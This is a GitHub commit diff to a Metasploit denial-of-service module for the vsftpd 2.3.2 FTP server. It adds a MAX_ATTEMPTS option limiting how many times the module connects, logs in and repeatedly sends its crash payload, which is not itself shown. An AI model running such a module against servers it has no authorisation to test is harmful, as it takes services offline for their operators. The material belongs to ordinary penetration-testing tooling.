Skip to content

Commit 807a4ce

Browse files
committed
vsftpd_232: Add MAX_ATTEMPTS
1 parent 780d29d commit 807a4ce

1 file changed

Lines changed: 23 additions & 1 deletion

File tree

modules/auxiliary/dos/ftp/vsftpd_232.rb

Lines changed: 23 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,10 @@ def initialize(info = {})
3737
}
3838
)
3939
)
40+
41+
register_options([
42+
OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25])
43+
])
4044
end
4145

4246
def check
@@ -56,10 +60,19 @@ def check
5660
end
5761

5862
s = ''
63+
attempts = 0
64+
max = datastore['MAX_ATTEMPTS'].to_i
5965
loop do
66+
attempts += 1
67+
6068
# get each line until our desired line shows or end line shows
6169
s = send_cmd(['STAT'], true)
6270
break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")
71+
72+
if max > 0 && attempts > max
73+
print_error("Reached #{max} attempts")
74+
break
75+
end
6376
end
6477
disconnect
6578

@@ -88,8 +101,17 @@ def run
88101

89102
print_status('Sending DoS command')
90103

104+
attempts = 0
105+
max = datastore['MAX_ATTEMPTS'].to_i
106+
91107
loop do
92-
print('.')
108+
attempts += 1
109+
if max > 0 && attempts > max
110+
print_error("Reached #{max} attempts without DoS")
111+
break
112+
end
113+
print_status("Attempt: #{attempts}")
114+
93115
connect_login
94116
10.times do
95117
send_cmd([payload.to_s], false)

0 commit comments

Comments
 (0)